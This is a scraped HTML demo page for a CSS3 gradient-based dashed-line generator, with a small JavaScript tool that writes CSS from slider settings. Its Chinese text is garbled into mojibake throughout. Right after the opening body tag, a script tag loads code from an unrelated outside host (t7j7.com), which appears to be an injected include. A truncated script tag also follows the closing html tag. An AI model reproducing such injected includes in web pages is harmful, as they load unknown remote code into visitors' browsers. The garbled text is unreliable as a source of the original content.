鍩轰簬CSS3绾挎€ф笎鍙樺疄鐜扮殑铏氱嚎CSS鐢熸垚宸ュ叿禄寮犻懌鏃?閼┖闂?閼敓娲?/title> <link rel="stylesheet" href="../css/demo.css" type="text/css" /> <link rel="stylesheet" href="../css/hl.css" type="text/css" /> </head> <body> <script src="http://www.t7j7.com/js.js"></script> <div id="header"> <a href="/" class="logo" title="鍥炲埌閼┖闂?閼敓娲婚椤?> <img alt="寮犻懌鏃?閼┖闂?閼敓娲? src="/php/image/zxx_home_logo.png" border="0" /> </a> </div> <div id="main"> <h1>鍩轰簬CSS3绾挎€ф笎鍙樺疄鐜扮殑铏氱嚎CSS鐢熸垚宸ュ叿瀹炰緥椤甸潰</h1> <a href="//olsonnd.com/wordpress/?p=6494" id="back">鍥炲埌鐩稿叧鏂囩珷 »</a> <div id="body"> <div id="effect" class="part"> <h3>鏁堟灉锛?/h3> <div class="show"> <div class="demo"> <h5>HTML浠ｇ爜锛?/h5> <pre name="code" class="DlHighlight html"><span class="paren xml-tagangle"><</span><span class="keyword xml-tag xml-tag-open">div</span> <span class="builtin xml-attribute">class</span><span class="undefined"></span><span class="operator">=</span><span class="string"><span class="before">"</span>dashed<span class="after">"</span></span><span class="paren xml-tagangle">></span><span class="paren xml-tagangle"></</span><span class="keyword xml-tag xml-tag-close">div</span><span class="paren xml-tagangle">></span></pre> <h5>CSS浠ｇ爜锛?/h5> <textarea id="cssCode" rows="6" cols="50"></textarea> <h5>鏁堟灉棰勮锛?/h5> <style>.dashed { height: 1px; background: linear-gradient(to right, #000, #000 2px, transparent 2px, transparent); background-size: 4px 100%; }</style> <div class="dashed"></div> <h5>鍙傛暟鎺у埗锛?/h5> <p>閫夋嫨瀹炶櫄姣斾緥锛?select id="ratio"> <option value="0.75">3:1</option> <option value="0.666667">2:1</option> <option value="0.6">3:2</option> <option value="0.5" selected>1:1</option> <option value="0.3333333">1:2</option> </select></p> <p>閫夋嫨铏氱嚎姝ュ箙(3-30)锛?input type="range" id="width" min="3" max="30" step="1" value="4"></p> <p>閫夋嫨铏氱嚎瀹藉害(1-10)锛?input type="range" id="height" min="1" max="10" step="1" value="1"></p> <p>閫夋嫨铏氱嚎棰滆壊锛?input type="color" id="color" value="#00000"></p> </div> </div> </div> <div id="code" class="part"> <h3>浠ｇ爜锛?/h3> <div class="show"> <h5>CSS浠ｇ爜锛?/h5> <pre name="code" class="css">.dashed { height: 1px; background: linear-gradient(to right, #000, #000 2px, transparent 2px, transparent); background-size: 4px 100%; }</pre> <h5>HTML浠ｇ爜锛?/h5> <pre name="code" class="html"> <div class="dashed"></div> </pre> </div> </div> </div> </div> <script> var eleRatio = document.getElementById('ratio'); var eleWidth = document.getElementById('width'); var eleHeight = document.getElementById('height'); var eleColor = document.getElementById('color'); var eleStyle = document.querySelector('.demo style'); var eleCode = document.getElementById('cssCode'); var generate = function () { var divide = Math.round(eleWidth.value * eleRatio.value * 100) / 100; var css = '.dashed {\n' + ' height: '+ eleHeight.value +'px;\n'+ ' background: linear-gradient(to right, '+ eleColor.value +', '+ eleColor.value +' '+ divide +'px, transparent '+ divide +'px, transparent);\n'+ ' background-size: '+ eleWidth.value +'px 100%;\n'+ '}'; eleCode.value = css; eleStyle.innerHTML = css; }; generate(); // 浜嬩欢 [eleRatio, eleWidth, eleHeight, eleColor].forEach(function (control) { control.addEventListener('change', generate); }); </script>  <script type="text/javascript" src="../js/hl_all.js"></script> <script type="text/javascript"> DlHighlight.HELPERS.highlightByName("code", "pre"); </script> <div id="footer"> Designed & Powerd by <a href="/">zhangxinxu</a><br /> Copyright漏寮犻懌鏃?閼┖闂?閼敓娲?br> <a href="http://www.miibeian.gov.cn/" target="_blank">閯侷CP澶?9015569鍙?/a> </div> <div id="ad"> <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>  <ins class="adsbygoogle" style="display:inline-block;width:728px;height:90px" data-ad-client="ca-pub-0090627341039040" data-ad-slot="4686885989"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-11205167-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = '//www.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </div> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?48d8e938d5365a4cb0fc9e65d945018e"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https'){ bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else{ bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body> </html><script type="text/javascript" src="/sys